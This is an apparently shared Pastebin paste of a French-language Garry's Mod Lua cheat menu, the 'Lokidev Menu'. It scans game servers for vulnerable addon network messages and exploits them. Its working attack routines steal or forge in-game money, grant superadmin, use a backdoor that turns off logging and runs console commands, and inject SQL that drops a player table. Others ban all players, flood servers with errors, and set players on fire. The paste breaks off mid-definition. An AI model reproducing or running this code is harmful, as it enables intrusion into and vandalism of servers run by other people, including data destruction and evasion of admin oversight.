Advertisement
Chuckielebg

ha2

Feb 17th, 2018
157
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 80.99 KB | None | 0 0
  1. if file.Exists( "includes/extensions/client/vehicle.lua", "LUA" ) == false then -- ne pas toucher cac check !!!!
  2. local Lokidev = nil
  3. local RatesScaleLevel = LocalPlayer():SteamID()
  4. local iZNX = {}
  5. iZNX.memory = {}
  6. local grad = Material( "gui/gradient" )
  7. local upgrad = Material( "gui/gradient_up" )
  8. local downgrad = Material( "gui/gradient_down" )
  9. local ctext = chat.AddText
  10. function iZNX.ChatText( str )
  11. ctext( Color(200, 1, 1), [[ [Lokidev Menu v1.7]: ]]..str )
  12. end
  13. function iZNX.NetStart( str )
  14. local netstart = net.Start
  15. if Lokidev and Lokidev.G and Lokidev.G.net then
  16. netstart = Lokidev.G.net.Start
  17. else
  18. -- print( "sending netmessage in insecure mode" )
  19. end
  20. return netstart( str )
  21. end
  22. function iZNX.ValidNetString( str )
  23. local netstart = net.Start
  24. if Lokidev and Lokidev.G and Lokidev.G.net then
  25. netstart = Lokidev.G.net.Start
  26. else
  27. -- print( "scanning for exploit in insecure mode" )
  28. end
  29. local status, error = pcall( netstart, str )
  30. return status
  31. end
  32. function iZNX.ValidNetString( str )
  33. local status, error = pcall( net.Start, str )
  34. return status
  35. end
  36. iZNX.sploits = {}
  37. local severitycols = {
  38. [1] = Color( 80, 80, 120 ),
  39. [2] = Color( 80, 120, 80 ),
  40. [3] = Color( 150, 90, 50 ),
  41. [4] = Color( 150, 50, 0 ),
  42. }
  43. function iZNX.AddExploit( name, tab )
  44. if !isstring( name ) then print("U FUCKED UP A SPLOIT RETARD") return end
  45. if !istable( tab ) then print("U FUCKED UP A SPLOIT RETARD") return end
  46. iZNX.sploits[name] = tab
  47. end
  48. function iZNX.IsStored( addr )
  49. return iZNX.memory[addr] != nil
  50. end
  51. function iZNX.GetStored( addr, fallback )
  52. if fallback and iZNX.memory[addr] == nil then return fallback end
  53. return iZNX.memory[addr]
  54. end
  55. function iZNX.Store( addr, val )
  56. iZNX.memory[addr] = val
  57. end
  58. function iZNX.GetAllStored()
  59. return iZNX.memory
  60. end
  61. function iZNX.GetAllStoredData()
  62. local ret = {}
  63. for k, v in pairs( iZNX.memory ) do
  64. if !istable( v ) then ret[k] = v end
  65. end
  66. return ret
  67. end
  68. function iZNX.LoadConfig()
  69. local f = file.Read( "Lokidev_exploit.dat", "DATA" )
  70. if !f then iZNX.ChatText( "T'AS PAS SAVE DE CONFIG SALE TRIZOMIQUE" ) end
  71. local raw = util.Decompress( f )
  72. local garbage = util.JSONToTable( raw )
  73. table.Merge( iZNX.memory, garbage )
  74. -- iZNX.memory = garbage
  75. iZNX.Menu:Remove()
  76. iZNX.ChatText( "Fichier de configuration chargé" )
  77. end
  78. function iZNX.SaveConfig()
  79. local myturds = util.TableToJSON( iZNX.GetAllStoredData() )
  80. if !myturds then return end
  81. local cumpressed = util.Compress( myturds )
  82. file.Write( "Lokidev_exploit.dat", cumpressed )
  83. iZNX.ChatText( "Fichier de configuration sauvegardé" )
  84. end
  85. iZNX.AddExploit( "€ Customizable Printers Money Stealer €", {
  86. desc = "Vole instantanément tout l'argent de chaque Printer sur le serveur",
  87. severity = 3,
  88. scan = function() return iZNX.ValidNetString( "SyncPrinterButtons76561198056171650" ) end,
  89. functions = {
  90. { typ = "func", name = "Prendre", func = function()
  91. if !timer.Exists( "Lokidev_exploit_shekels" ) then
  92. iZNX.ChatText( "Vole de l'argent lancé" )
  93. timer.Create( "Lokidev_exploit_shekels", 0.1, 0, function()
  94. for k, v in pairs(ents.GetAll()) do
  95. if( v:GetClass():find("print") ) then
  96. iZNX.NetStart( "SyncPrinterButtons76561198056171650" )
  97. net.WriteEntity(v)
  98. net.WriteUInt(2, 4)
  99. net.SendToServer()
  100. end
  101. end
  102. end)
  103. else
  104. timer.Remove( "Lokidev_exploit_shekels" )
  105. iZNX.ChatText( "Vole de l'argent stoppé" )
  106. end
  107. end, },
  108. },
  109. } )
  110. iZNX.AddExploit( "ULX Friends Spam", {
  111. desc = "Spams tout le monde sur le serveur avec un message",
  112. severity = 1,
  113. scan = function() return (iZNX.ValidNetString( "sendtable" ) and ulx and ulx.friends ) end,
  114. functions = {
  115. { typ = "string", name = "Entrer un message", default = "Bitch please", addr = "fr_spamstring" },
  116. { typ = "players", addr = "fr_players" },
  117. { typ = "func", name = "Big Spam", func = function()
  118. if !timer.Exists( "bigspams" ) then
  119. iZNX.ChatText( "big spam lancé" )
  120. timer.Create( "bigspams", 0.5, 0, function()
  121. local t = iZNX.GetStored( "fr_players", {} )
  122. for k, v in pairs( player.GetAll() ) do
  123. if !table.HasValue( t, v ) then continue end
  124. local buyit = {}
  125. for i = 1, 15 do
  126. table.insert( buyit, iZNX.GetStored( "fr_spamstring", "Bitch please" ) )
  127. end
  128. iZNX.NetStart( "sendtable" )
  129. net.WriteEntity( v )
  130. net.WriteTable( buyit )
  131. net.SendToServer()
  132. end
  133. end)
  134. else
  135. timer.Remove( "bigspams" )
  136. iZNX.ChatText( "big spam stoppé" )
  137. end
  138. end, },
  139. },
  140. } )
  141. iZNX.AddExploit( "Console Erreur Spammer", {
  142. desc = "Défonce le serveur rcon avec des erreurs massive )",
  143. severity = 1,
  144. scan = function() return iZNX.ValidNetString( "steamid2" ) end,
  145. functions = {
  146. { typ = "func", name = "Big Spam", func = function()
  147. if !timer.Exists( "Lokidev_exploit_errorz" ) then
  148. iZNX.ChatText( "erreur spam lancé" )
  149. timer.Create( "Lokidev_exploit_errorz", 0.1, 0, function()
  150. iZNX.NetStart( "steamid2" )
  151. net.WriteString( "Something is creating very strong script errors" )
  152. net.SendToServer()
  153. end)
  154. else
  155. timer.Remove( "Lokidev_exploit_errorz" )
  156. iZNX.ChatText( "erreur spam stoppé" )
  157. end
  158. end, },
  159. },
  160. } )
  161. iZNX.AddExploit( "Turbo Erreur Spammer", {
  162. desc = "Défonce le serveur rcon avec des erreurs massive.",
  163. severity = 2,
  164. scan = function() return iZNX.ValidNetString( "steamid2" ) end,
  165. functions = {
  166. { typ = "func", name = "Big Spam", func = function()
  167. if !timer.Exists( "Lokidev_exploit_errorzt" ) then
  168. iZNX.ChatText( "erreur spam lancé" )
  169. timer.Create( "Lokidev_exploit_errorzt", 0, 0, function()
  170. for i = 1, 100 do
  171. iZNX.NetStart( "steamid2" )
  172. net.WriteString( "Something is creating very strong script errors" )
  173. net.SendToServer()
  174. end
  175. end)
  176. else
  177. timer.Remove( "Lokidev_exploit_errorzt" )
  178. iZNX.ChatText( "erreur spam stoppé" )
  179. end
  180. end, },
  181. },
  182. } )
  183. iZNX.AddExploit( "€ Kun Drug €", {
  184. desc = "Exploit d'argent",
  185. severity = 3,
  186. scan = function() return iZNX.ValidNetString( "Kun_SellDrug" ) end,
  187. functions = {
  188. { typ = "func", name = "Lancer", func = function()
  189. if !timer.Exists( "Lokidev_exploit_selldrugon" ) then
  190. iZNX.ChatText( "Exploit lancé" )
  191. timer.Create( "Lokidev_exploit_selldrugon", 0, 0, function()
  192. for i=1,1000 do
  193. iZNX.NetStart("Kun_SellDrug")
  194. net.WriteString("mushroom")
  195. net.SendToServer()
  196. end
  197. end)
  198. else
  199. timer.Remove( "Lokidev_exploit_selldrugon" )
  200. iZNX.ChatText( "Exploit stoppé" )
  201. end
  202. end, },
  203. },
  204. } )
  205. iZNX.AddExploit( "Point Shop Unbox", {
  206. desc = "Exploit a téster",
  207. severity = 2,
  208. scan = function() return iZNX.ValidNetString( "net_PSUnBoxServer" ) end,
  209. functions = {
  210. { typ = "func", name = "Lancer", func = function()
  211. for k,v in pairs(player.GetAll()) do
  212. local i = 0
  213. for k2,v2 in pairs(PS.Items) do
  214. if !v:PS_HasItem(v2.ID) then
  215. timer.Simple(k*i*1.7,function()
  216. iZNX.NetStart("net_PSUnBoxServer")
  217. net.WriteEntity(v)
  218. net.WriteString(v2.ID)
  219. net.SendToServer()
  220. end)
  221. i = i + 1
  222. end
  223. end
  224. end
  225. end, },
  226. },
  227. } )
  228. iZNX.AddExploit( "☢ Give Superadmin ☢", {
  229. desc = "Donnez le superadmin aux gens (rejoignez pour que cela prenne effet)",
  230. severity = 4,
  231. scan = function() return iZNX.ValidNetString( "pplay_deleterow" ) end,
  232. functions = {
  233. { typ = "players", addr = "l_superadmins" },
  234. { typ = "func", name = "Lancer", func = function()
  235. local t = iZNX.GetStored( "l_superadmins", {} )
  236. for k, v in pairs( player.GetAll() ) do
  237. if !table.HasValue( t, v ) then continue end
  238. local id = v:SteamID()
  239. local tbl = {}
  240. tbl.name = "FAdmin_PlayerGroup"
  241. tbl.where = {
  242. "steamid",
  243. tostring(id)
  244. }
  245. iZNX.NetStart("pplay_deleterow")
  246. net.WriteTable(tbl)
  247. net.SendToServer()
  248. local tbl = {}
  249. tbl.tblname = "FAdmin_PlayerGroup"
  250. tbl.tblinfo = {
  251. tostring(id),
  252. "superadmin"
  253. }
  254. iZNX.NetStart("pplay_addrow")
  255. net.WriteTable(tbl)
  256. net.SendToServer()
  257. iZNX.ChatText( "superadmin donné à "..v:Nick() )
  258. end
  259. end, },
  260. },
  261. } )
  262. local thefrenchenculer = ""
  263. if iZNX.ValidNetString( "Sandbox_ArmDupe" ) then
  264. thefrenchenculer = "Sandbox_ArmDupe"
  265. else
  266. if iZNX.ValidNetString( "Fix_Keypads" ) then
  267. thefrenchenculer = "Fix_Keypads"
  268. else
  269. if iZNX.ValidNetString( "Remove_Exploiters" ) then
  270. thefrenchenculer = "Remove_Exploiters"
  271. else
  272. if iZNX.ValidNetString( "noclipcloakaesp_chat_text" ) then
  273. thefrenchenculer = "noclipcloakaesp_chat_text"
  274. else
  275. if iZNX.ValidNetString( "_Defqon" ) then
  276. thefrenchenculer = "_Defqon"
  277. else
  278. if iZNX.ValidNetString( "_CAC_ReadMemory" ) then
  279. thefrenchenculer = "_CAC_ReadMemory"
  280. else
  281. if iZNX.ValidNetString( "nostrip" ) then
  282. thefrenchenculer = "nostrip"
  283. else
  284. if iZNX.ValidNetString( "LickMeOut" ) then
  285. thefrenchenculer = "LickMeOut"
  286. else
  287. if iZNX.ValidNetString( "MoonMan" ) then
  288. thefrenchenculer = "MoonMan"
  289. if iZNX.ValidNetString( "Im_SOCool" ) then
  290. thefrenchenculer = "Im_SOCool"
  291. end
  292. end
  293. end
  294. end
  295. end
  296. end
  297. end
  298. end
  299. end
  300. end
  301. iZNX.AddExploit( ".NET Backdoor", {
  302. desc = "Backdoor trés puissant, ENLEVE LES LOGS POUR ETRE PLUS DISCRET, Backdoor :"..thefrenchenculer.."",
  303. severity = 4,
  304. scan = function() return iZNX.ValidNetString( thefrenchenculer ) end,
  305. functions = {
  306. { typ = "func", name = "ENLEVER LES LOGS", func = function()
  307. iZNX.NetStart(thefrenchenculer)
  308. net.WriteString( "RunConsoleCommand(\"ulx_logecho\", \"0\")" )
  309. net.WriteBit(1)
  310. net.SendToServer()
  311. end, },
  312. { typ = "htxcommandeliste", name = "Commandes Liste" },
  313. { typ = "players", addr = "give_superadmins" },
  314. { typ = "func", name = "<- Superadmin", func = function()
  315. local t = iZNX.GetStored( "give_superadmins", {} )
  316. for k, v in pairs( player.GetAll() ) do
  317. if !table.HasValue( t, v ) then continue end
  318. local id = v:SteamID()
  319. iZNX.NetStart(thefrenchenculer)
  320. net.WriteString( "ulx adduserid "..id.." superadmin" )
  321. net.WriteBit(false)
  322. net.SendToServer()
  323. end
  324. end, },
  325. },
  326. } )
  327. iZNX.AddExploit( "☢ Niquer la base de donné SQL (sa pique) ☢", {
  328. desc = "Vandalisez la base de données darkrp master SQL, effaçant toutes les données des joueurs, vous devez être superamin !!",
  329. severity = 4,
  330. scan = function() return iZNX.ValidNetString( "pplay_sendtable" ) end,
  331. functions = {
  332. { typ = "func", name = "Lancer", func = function()
  333. local tbl = {}
  334. tbl.tblname = "darkrp_door; DROP TABLE darkrp_player; CREATE TABLE darkrp_player(a STRING)"
  335. tbl.ply = LocalPlayer()
  336. iZNX.NetStart("pplay_sendtable")
  337. net.WriteTable(tbl)
  338. net.SendToServer()
  339. iZNX.ChatText( "Base de données SQL Server détruite" )
  340. end, },
  341. },
  342. } )
  343. iZNX.AddExploit( "Niquer les Data du serveur", {
  344. desc = "Vandalise le data du serveur, va probablement ennuyer leurs fils de pute de dev x)",
  345. severity = 3,
  346. scan = function() return iZNX.ValidNetString( "WriteQuery" ) end,
  347. functions = {
  348. { typ = "func", name = "Lancer", func = function()
  349. if !timer.Exists( "Lokidev_exploit_datatrasher" ) then
  350. iZNX.ChatText( "Démarrage du spam du dossier data" )
  351. timer.Create( "Lokidev_exploit_datatrasher", 0.5, 0, function()
  352. iZNX.NetStart( "WriteQuery" )
  353. net.WriteString( "BAN ME -> "..LocalPlayer():SteamID()..string.rep( "!", math.random( 1, 5000 ) ) )
  354. net.SendToServer()
  355. end)
  356. else
  357. timer.Remove( "Lokidev_exploit_datatrasher" )
  358. iZNX.ChatText( "Spam du dossier data Stopper" )
  359. end
  360. end, },
  361. },
  362. } )
  363. -- Patched
  364. --[[iZNX.AddExploit( "Turbo Chat Spam", {
  365. desc = "Gros spam, extrêmement ennuyeux",
  366. severity = 1,
  367. scan = function() return iZNX.ValidNetString( "VJSay" ) end,
  368. functions = {
  369. { typ = "string", name = "Entrer un message", default = "LokidevMenu", addr = "vj_spamstring" },
  370. { typ = "string", name = "Entrer un son", default = "vo/npc/male01/hacks01.wav", addr = "vj_spamsound" },
  371. { typ = "func", name = "Big Spam", func = function()
  372. if !timer.Exists( "bigspamsvj" ) then
  373. iZNX.ChatText( "big spam lancé" )
  374. timer.Create( "bigspamsvj", 0.1, 0, function()
  375. for k, v in pairs( player.GetAll() ) do
  376. iZNX.NetStart( "VJSay" )
  377. net.WriteEntity( v )
  378. net.WriteString( iZNX.GetStored( "vj_spamstring", "ACHETER LE @LOKIDEV AJOUTEZ SUPREMACIST" ) )
  379. if iZNX.GetStored( "vj_spamsound", "" ) != "" then
  380. net.WriteString( iZNX.GetStored( "vj_spamsound", "" ) )
  381. end
  382. net.SendToServer()
  383. end
  384. end)
  385. else
  386. timer.Remove( "bigspamsvj" )
  387. iZNX.ChatText( "big spam stoppé" )
  388. end
  389. end, },
  390. },
  391. } )--]]
  392. iZNX.AddExploit( "Give une arme", {
  393. desc = "Exploit pour vous give des putains d'armes",
  394. severity = 3,
  395. scan = function() return iZNX.ValidNetString( "CraftSomething" ) end,
  396. functions = {
  397. { typ = "string", name = "Nom Arme", default = "m9k_ak47", addr = "armes_a_prendre" },
  398. { typ = "func", name = "Prendre", func = function()
  399. iZNX.NetStart( "CraftSomething" )
  400. net.WriteEntity( LocalPlayer() )
  401. net.WriteString( iZNX.GetStored( "armes_a_prendre" ) )
  402. net.WriteString( "" )
  403. net.WriteString( "weapon" )
  404. net.SendToServer()
  405. end, },
  406. },
  407. } )
  408. iZNX.AddExploit( "ULX Extended ", {
  409. desc = "Attention cette exploit est risquée si l'addon est à jour vous allez être kick ^^",
  410. severity = 3,
  411. scan = function() return iZNX.ValidNetString( "banleaver" ) end,
  412. functions = {
  413. { typ = "func", name = "Ban les Admins", func = function()
  414. for k,v in pairs(player.GetAll()) do
  415. if v:GetUserGroup() != "user" then -- Custom first ranks, youre fucked bro
  416. if v != LocalPlayer() then
  417. iZNX.NetStart("banleaver")
  418. net.WriteString(v:SteamID().."{sep}".."Bitch please")
  419. net.SendToServer()
  420. end
  421. end
  422. end
  423. end, },
  424. { typ = "func", name = "Ban tout le monde", func = function()
  425. for k,v in pairs(player.GetAll()) do
  426. if v != LocalPlayer() then
  427. iZNX.NetStart("banleaver")
  428. net.WriteString(v:SteamID().."{sep}".."Bitch please")
  429. net.SendToServer()
  430. end
  431. end
  432. end, },
  433. },
  434. } )
  435. iZNX.AddExploit( "€ Casino NPC €", {
  436. desc = "Exploit d'argent très efficace, go payer des putes et de la coke ;)",
  437. severity = 4,
  438. scan = function() return iZNX.ValidNetString( "75_plus_win" ) end,
  439. functions = {
  440. { typ = "float", name = "Montant", min = "1", max = "100000000", default = "100000", addr = "montant_argent" },
  441. { typ = "players", addr = "l_players_listing" },
  442. { typ = "func", name = "Donner", func = function()
  443. local t = iZNX.GetStored( "l_players_listing", {} )
  444. for k, v in pairs( player.GetAll() ) do
  445. if !table.HasValue( t, v ) then continue end
  446. iZNX.NetStart( "75_plus_win" )
  447. net.WriteString( iZNX.GetStored( "montant_argent" ) )
  448. net.WriteEntity(v)
  449. net.SendToServer()
  450. end
  451. end, },
  452. { typ = "func", name = "Enlever", func = function()
  453. local t = iZNX.GetStored( "l_players_listing", {} )
  454. for k, v in pairs( player.GetAll() ) do
  455. if !table.HasValue( t, v ) then continue end
  456. iZNX.NetStart( "75_plus_win" )
  457. net.WriteString( -iZNX.GetStored( "montant_argent" ) )
  458. net.WriteEntity(v)
  459. net.SendToServer()
  460. end
  461. end, },
  462. },
  463. } )
  464. iZNX.AddExploit( "€ ATM €", {
  465. desc = "Exploit d'argent, go payer des putes et de la coke ;)",
  466. severity = 4,
  467. scan = function() return iZNX.ValidNetString( "ATMDepositMoney" ) end,
  468. functions = {
  469. { typ = "float", name = "Montant", min = "1", max = "100000000", default = "100000", addr = "montant_argent5" },
  470. { typ = "func", name = "Prendre", func = function()
  471. iZNX.NetStart( "ATMDepositMoney" )
  472. net.WriteFloat( -iZNX.GetStored( "montant_argent5" ) )
  473. net.SendToServer()
  474. end, },
  475. },
  476. } )
  477. iZNX.AddExploit( "TAXI Spawn Lag", {
  478. desc = "Exploit pour faire chier les fdp de codeurs ;)",
  479. severity = 2,
  480. scan = function() return iZNX.ValidNetString( "Taxi_Add" ) end,
  481. functions = {
  482. { typ = "func", name = "Spawn", func = function()
  483. local Pos = LocalPlayer():GetEyeTrace().HitPos
  484. iZNX.NetStart("Taxi_Add")
  485. net.WriteString("Taxi Super Exploit #"..math.random( 1, 9999 ))
  486. net.WriteTable({[1]=Pos.x,[2]=Pos.y,[3]=Pos.z})
  487. net.WriteFloat(-9999999)
  488. net.WriteString("Les addons leaks c'est plein d'exploit :D")
  489. net.SendToServer()
  490. end, },
  491. { typ = "func", name = "Super Spam", func = function()
  492. if !timer.Exists( "taxispam" ) then
  493. iZNX.ChatText( "Spam spawn Taxi lancé" )
  494. timer.Create( "taxispam", 0.05, 0, function()
  495. local Pos = LocalPlayer():GetEyeTrace().HitPos
  496. iZNX.NetStart("Taxi_Add")
  497. net.WriteString("Taxi Super Exploit #"..math.random( 1, 9999 ))
  498. net.WriteTable({[1]=Pos.x,[2]=Pos.y,[3]=Pos.z})
  499. net.WriteFloat(-9999999)
  500. net.WriteString("Les addons leaks c'est plein d'exploit :D")
  501. net.SendToServer()
  502. end)
  503. else
  504. timer.Remove( "taxispam" )
  505. iZNX.ChatText( "Spam spawn Taxi arreter" )
  506. end
  507. end, },
  508. },
  509. } )
  510. iZNX.AddExploit( "€ eMining €", {
  511. desc = "Exploit d'argent très efficace, go payer des putes et de la coke ;)",
  512. severity = 4,
  513. scan = function() return iZNX.ValidNetString( "SellMinerals" ) end,
  514. functions = {
  515. { typ = "float", name = "Montant", min = "1", max = "100000000", default = "100000", addr = "montant_argent6" },
  516. { typ = "func", name = "Prendre", func = function()
  517. for k,v in pairs(SkillDB) do
  518. if not ( v.iSkill == true ) then
  519. iZNX.NetStart("Upgrade")
  520. net.WriteTable( { LuaName = v.LuaName, Amount = -iZNX.GetStored( "montant_argent6" ) } )
  521. net.SendToServer()
  522. iZNX.NetStart( "SellMinerals" )
  523. net.WriteTable( { Target = LocalPlayer() } )
  524. net.SendToServer()
  525. end
  526. end
  527. end, },
  528. { typ = "func", name = "Enlever", func = function()
  529. for k,v in pairs(SkillDB) do
  530. if not ( v.iSkill == true ) then
  531. iZNX.NetStart("Upgrade")
  532. net.WriteTable( { LuaName = v.LuaName, Amount = iZNX.GetStored( "montant_argent6" ) } )
  533. net.SendToServer()
  534. iZNX.NetStart( "SellMinerals" )
  535. net.WriteTable( { Target = LocalPlayer() } )
  536. net.SendToServer()
  537. end
  538. end
  539. end, },
  540. },
  541. } )
  542. iZNX.AddExploit( "€ Gamble NPC €", {
  543. desc = "Exploit d'argent Infini, go payer des putes et de la coke ;)",
  544. severity = 4,
  545. scan = function() return iZNX.ValidNetString( "TakeBetMoney" ) end,
  546. functions = {
  547. { typ = "func", name = "Prendre", func = function()
  548. iZNX.NetStart( "TakeBetMoney" )
  549. net.WriteTable({1e333333 , 1e333333})
  550. net.SendToServer()
  551. end, },
  552. },
  553. } )
  554. iZNX.AddExploit( "€ Kun Oil Mod €", {
  555. desc = "Exploit d'argent, go payer des putes et de la coke ;)",
  556. severity = 3,
  557. scan = function() return iZNX.ValidNetString( "Kun_SellOil" ) end,
  558. functions = {
  559. { typ = "func", name = "Prendre", func = function()
  560. for k,v in pairs(ents.GetAll()) do
  561. iZNX.NetStart("Kun_SellOil")
  562. net.WriteEntity(v)
  563. net.SendToServer()
  564. end
  565. end, },
  566. },
  567. } )
  568. iZNX.AddExploit( "Rejoindre la Police 1", {
  569. desc = "Rejoint la police sans passer par le putain de formulaire",
  570. severity = 2,
  571. scan = function() return iZNX.ValidNetString( "PoliceJoin" ) end,
  572. functions = {
  573. { typ = "func", name = "Rejoindre", func = function()
  574. iZNX.NetStart("PoliceJoin")
  575. net.SendToServer()
  576. end, },
  577. },
  578. } )
  579. iZNX.AddExploit( "Rejoindre la Police 2", {
  580. desc = "Rejoint la police sans passer le putain formulaire",
  581. severity = 2,
  582. scan = function() return iZNX.ValidNetString( "CpForm_Answers" ) end,
  583. functions = {
  584. { typ = "func", name = "Rejoindre", func = function()
  585. iZNX.NetStart("CpForm_Answers")
  586. net.WriteEntity(LocalPlayer())
  587. net.WriteTable({})
  588. net.SendToServer()
  589. end, },
  590. },
  591. } )
  592. iZNX.AddExploit( "€ Deposit Money €", {
  593. desc = "Exploit d'argent avec les ATM Deposit Money",
  594. severity = 2,
  595. scan = function() return iZNX.ValidNetString( "DepositMoney" ) end,
  596. functions = {
  597. { typ = "float", name = "Montant", min = "1", max = "100000000", default = "100000", addr = "montant_argent7" },
  598. { typ = "func", name = "Lancer", func = function()
  599. for k,v in pairs(ents.GetAll()) do
  600. swag = v
  601. end
  602. for k,v in pairs(player.GetAll()) do
  603. iZNX.NetStart( "DepositMoney" )
  604. net.WriteEntity(swag)
  605. net.WriteString(-iZNX.GetStored( "montant_argent7" ))
  606. net.WriteEntity(v)
  607. net.SendToServer()
  608. end
  609. end, },
  610. },
  611. } )
  612. iZNX.AddExploit( "MDE", {
  613. desc = "Exploit pour supprimer des PermaProps (Viser le props et cliquer sur l'exploit pour le supprimer)",
  614. severity = 2,
  615. scan = function() return iZNX.ValidNetString( "MDE_RemoveStuff_C2S" ) end,
  616. functions = {
  617. { typ = "func", name = "Lancer", func = function()
  618. iZNX.NetStart( "MDE_RemoveStuff_C2S" )
  619. net.WriteTable( {DATA="",TARGET=LocalPlayer():GetEyeTrace().Entity} )
  620. net.SendToServer()
  621. end, },
  622. },
  623. } )
  624. iZNX.AddExploit( "€ SS Shelf NET €", {
  625. desc = "Exploit d'argent",
  626. severity = 3,
  627. scan = function() return iZNX.ValidNetString( "NET_SS_DoBuyTakeoff" ) end,
  628. functions = {
  629. { typ = "float", name = "Montant", min = "1", max = "100000000", default = "100000", addr = "montant_argent9" },
  630. { typ = "func", name = "Lancer", func = function()
  631. for k,v in pairs(ents.GetAll()) do
  632. swag = v
  633. end
  634. iZNX.NetStart( 'NET_SS_DoBuyTakeoff' )
  635. net.WriteEntity(LocalPlayer())
  636. net.WriteEntity(swag)
  637. net.WriteTable({'spawned_weapon'})
  638. net.WriteInt(-iZNX.GetStored( "montant_argent9" ), 16)
  639. net.SendToServer()
  640. end, },
  641. },
  642. } )
  643. iZNX.AddExploit( "€ MODIFIER TAXES €", {
  644. desc = "Exploit d'argent",
  645. severity = 3,
  646. scan = function() return iZNX.ValidNetString( "NET_EcSetTax" ) end,
  647. functions = {
  648. { typ = "float", name = "Montant", min = "1", max = "100000000", default = "100000", addr = "montant_argent10" },
  649. { typ = "func", name = "Lancer", func = function()
  650. iZNX.NetStart("NET_EcSetTax")
  651. net.WriteInt(-iZNX.GetStored( "montant_argent10" ), 16)
  652. net.SendToServer()
  653. end, },
  654. },
  655. } )
  656. iZNX.AddExploit( "€ Fine System €", {
  657. desc = "Exploit d'argent , go payer des putes et de la coke ;)",
  658. severity = 3,
  659. scan = function() return iZNX.ValidNetString( "RP_Accept_Fine" ) end,
  660. functions = {
  661. { typ = "float", name = "Montant", min = "1", max = "100000000", default = "100000", addr = "montant_argent11" },
  662. { typ = "players", addr = "l_players_listing_fine" },
  663. { typ = "func", name = "Prendre", func = function()
  664. local t = iZNX.GetStored( "l_players_listing_fine", {} )
  665. for k, v in pairs( player.GetAll() ) do
  666. if !table.HasValue( t, v ) then continue end
  667. iZNX.NetStart("RP_Accept_Fine")
  668. net.WriteString(v:Nick())
  669. net.WriteDouble(-iZNX.GetStored( "montant_argent11" ))
  670. net.SendToServer()
  671. end
  672. end, },
  673. { typ = "func", name = "Envoyer Amende x)", func = function()
  674. local t = iZNX.GetStored( "l_players_listing_fine", {} )
  675. for k, v in pairs( player.GetAll() ) do
  676. if !table.HasValue( t, v ) then continue end
  677. iZNX.NetStart("RP_Fine_Player")
  678. net.WriteString(v:Nick())
  679. net.WriteString(v:Nick())
  680. net.WriteDouble(iZNX.GetStored( "montant_argent11" ))
  681. net.WriteString("Ce serveur mérite une anarchie! Serveur hacked!! Vous pouvez lecher mon trou du cul maintenant x)")
  682. net.SendToServer()
  683. end
  684. end, },
  685. { typ = "func", name = "Spam Envoyer Amende x)", func = function()
  686. if !timer.Exists( "spamamandefine" ) then
  687. iZNX.ChatText( "Spam lancé" )
  688. timer.Create( "spamamandefine", 0.1, 0, function()
  689. local t = iZNX.GetStored( "l_players_listing_fine", {} )
  690. for k, v in pairs( player.GetAll() ) do
  691. if !table.HasValue( t, v ) then continue end
  692. iZNX.NetStart("RP_Fine_Player")
  693. net.WriteString(v:Nick())
  694. net.WriteString(v:Nick())
  695. net.WriteDouble(iZNX.GetStored( "montant_argent11" ))
  696. net.WriteString("Ce serveur mérite une anarchie! Serveur hacked!! Vous pouvez lecher mon trou du cul maintenant x)")
  697. net.SendToServer()
  698. end
  699. end)
  700. else
  701. timer.Remove( "spamamandefine" )
  702. iZNX.ChatText( "Spam stoppé" )
  703. end
  704. end, },
  705. },
  706. } )
  707. iZNX.AddExploit( "€ 3D Cardealer €", {
  708. desc = "Exploit d'argent, Regarder un vehicule que vous avez acheté pour le dupliquer ;)",
  709. severity = 2,
  710. scan = function() return iZNX.ValidNetString( "RXCAR_Shop_Store_C2S" ) end,
  711. functions = {
  712. { typ = "func", name = "Dupliquer", func = function()
  713. for i = 0, 75 do
  714. iZNX.NetStart( "RXCAR_Shop_Store_C2S" );
  715. net.WriteTable( { E = ent } );
  716. net.SendToServer();
  717. end
  718. end, },
  719. { typ = "func", name = "Tout Vendre", func = function()
  720. local ent
  721. for k,v in pairs(ents.GetAll()) do
  722. if v:GetClass() == "rm_car_dealer" then
  723. ent = v
  724. end
  725. end
  726. for k,v in pairs(RX3DCar_Inventory) do
  727. iZNX.NetStart( "RXCAR_SellINVCar_C2S" )
  728. net.WriteTable({UN=v.UniqueID,SE=ent})
  729. net.SendToServer()
  730. end
  731. end, },
  732. },
  733. } )
  734. iZNX.AddExploit( "Supprimer Armes / Argent", {
  735. desc = "Supprimer les armes / l'argent de touts le monde",
  736. severity = 3,
  737. scan = function() return iZNX.ValidNetString( "drugseffect_remove" ) end,
  738. functions = {
  739. { typ = "func", name = "Supprimer Armes", func = function()
  740. iZNX.NetStart("drugseffect_remove")
  741. net.SendToServer()
  742. end, },
  743. { typ = "func", name = "Supprimer Argent", func = function()
  744. iZNX.NetStart("drugs_money")
  745. net.SendToServer()
  746. end, },
  747. },
  748. } )
  749. iZNX.AddExploit( "€ Crafting Mod €", {
  750. desc = "Exploit d'argent",
  751. severity = 3,
  752. scan = function() return iZNX.ValidNetString( "CRAFTINGMOD_SHOP" ) end,
  753. functions = {
  754. { typ = "float", name = "Montant", min = "1", max = "100000000", default = "100000", addr = "montant_argent14" },
  755. { typ = "func", name = "Ajouter Argent", func = function()
  756. iZNX.NetStart("CRAFTINGMOD_SHOP")
  757. net.WriteTable({
  758. BUY = -iZNX.GetStored( "montant_argent14" );
  759. type = 1
  760. })
  761. net.WriteInt(1,16)
  762. net.SendToServer()
  763. end, },
  764. { typ = "func", name = "Enlever Argent", func = function()
  765. iZNX.NetStart("CRAFTINGMOD_SHOP")
  766. net.WriteTable({
  767. BUY = LocalPlayer():getDarkRPVar("money");
  768. type = 1
  769. })
  770. net.WriteInt(1,16)
  771. net.SendToServer()
  772. end, },
  773. },
  774. } )
  775. iZNX.AddExploit( "Mettre le Feu", {
  776. desc = "Mettre les props/joueur en feu. RIP JOHNNY.",
  777. severity = 3,
  778. scan = function() return iZNX.ValidNetString( "drugs_ignite" ) end,
  779. functions = {
  780. { typ = "func", name = "Feux Props", func = function()
  781. iZNX.NetStart("drugs_ignite")
  782. net.WriteString("prop_physics")
  783. net.SendToServer()
  784. end, },
  785. { typ = "func", name = "Feux Joueurs", func = function()
  786. iZNX.NetStart("drugs_ignite")
  787. net.WriteString("player")
  788. net.SendToServer()
  789. end, },
  790. },
  791. } )
  792. iZNX.AddExploit( "Modifier la Vie", {
  793. desc = "Changer la vie des joueurs",
  794. severity = 2,
  795. scan = function() return iZNX.ValidNetString( "drugseffect_hpremove" ) end,
  796. functions = {
  797. { typ = "float", name = "Montant", min = "1", max = "100000000", default = "100", addr = "montant_argent15" },
